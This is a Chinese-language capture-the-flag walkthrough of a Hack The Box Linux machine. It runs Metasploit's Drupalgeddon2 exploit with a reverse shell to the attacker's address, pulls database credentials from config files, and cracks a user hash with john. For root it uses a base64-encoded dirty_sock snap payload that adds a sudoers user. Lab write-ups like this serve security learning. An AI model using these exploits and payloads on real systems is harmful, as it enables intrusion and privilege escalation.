靶场信息
靶场类型
信息搜集
NMAP
首先使用 nmap 进行扫描
nmap –A -sS –sC –Sv 10.10.10.233
我们可以看到开启了22和80端口
在 80 端口提示了我们存在 robots.txt 文件,并且东西很多 咱们访问一下
其中引起我兴趣的东西呢就是 /MAINTAINERS.txt
文件了
这是维护文件,或者说是升级文件,咱们打开看一下
果不其然,里面揭露了Drupal
的版本
到这里思路就明了了
漏洞利用
咱们直接使用 msf 进行 getshell
使用 msfconsole 打开 msf
输入search drupal
搜索可用的exp
咱们对比一下版本号,最后一次升级为7.56版本,升级时间为2017-06-21 也就是说在这之前的exp都可以直接pass了
咱们把目光放在 2018-03-28的exp
上
use exploit/unix/webapp/drupal_drupalgeddon2
option
set RHOSTS 10.10.10.233
set lhost 10.10.14.135
exploit
成功获取到一个shell
咱们运行一下无法查看到uid,但是可以查看到文件
但我偏不,我就想知道当前用户怎么办?
简单
输入 shell
一开始我以为是卡住了,但后来想想不对,好像是获取到了
执行命令后确认命令是可以被执行的?
那咱们先想办法获得一个稳定的shell吧
/bin/bash –i
不一样被我搞到shell了,可给我NB坏了,叉会儿腰
用户是apache,权限还是有点低啊,咱们在内核里看到了一个域名,或许有用,先记录下来吧,暂时还不知道是干嘛的,咱们得想想办法去搞到更高一点的权限
我在查看源码和配置文件的时候,在 ../sites/default/settings.php 中找到了数据库的账号密码
database => drupal
username => drupaluser
password => CQHEy@9M*m23gBVj
他不是开启了22端口吗,咱们直接ssh登录吧
嗯?密码不对?啊这,就有点尴尬了呀
没事儿,咱们换一种方法,既然从外面来不行,那咱们就从里面来,咳咳 没开车哈 请不要脑补
在咱们的 shell 里直接使用 mysql 进行登录
很奇怪,正常输入账号密码会卡住或者报错或者出现一些奇怪的东西
经过多方测试以及查找资料后,得出正确的查询命令
mysql -u "drupaluser" -h "localhost" "-pCQHEy@9M*m23gBVj" "drupal" -e "select uid, name, pass from users;"
brucetherealadmin 账户一看这么长就知道不简单,俗话说的好,长的人一定不简单,咋办?爆它!
将用户 brucetherealadmin 的 hash 保存为一个文本文件
请出我们的神器john
john --wordlist=/usr/share/wordlists/rockyou.txt admin
爆破成功
密码为 booboo
现在咱们直接ssh登录就可以了
ssh brucetherealadmin@10.10.10.233
OK,咱们现在总算是有一个完整的用户权限了
成功获得user权限的flag
权限提升
咱们使用 sudo –l
来查看一下 sudo 权限
咱们可以不使用密码就调用 root 权限安装 snap,那思路就有了呀,搞起来兄弟们
生成一个snap的马
参考链接:
Privilege Escalation in Ubuntu Linux (dirty_sockv2 exploit):https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html
Playing with Dirty Sock:https://0xdf.gitlab.io/2019/02/13/playing-with-dirty-sock.html
生成指令:
python2 -c 'print"aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw"+ "A"*4256 + "=="' | base64 -d > exploit.snap
直接运行改文件,发现还有一点错误,需要想办法解决一下
加上 –devmode 成功安装
sudo /usr/bin/snap install --devmode exploit.snap
切换到 dirty_sock 用户,密码也是 dirty_sock
查看一下权限
提权成功
成功拿到root权限的flag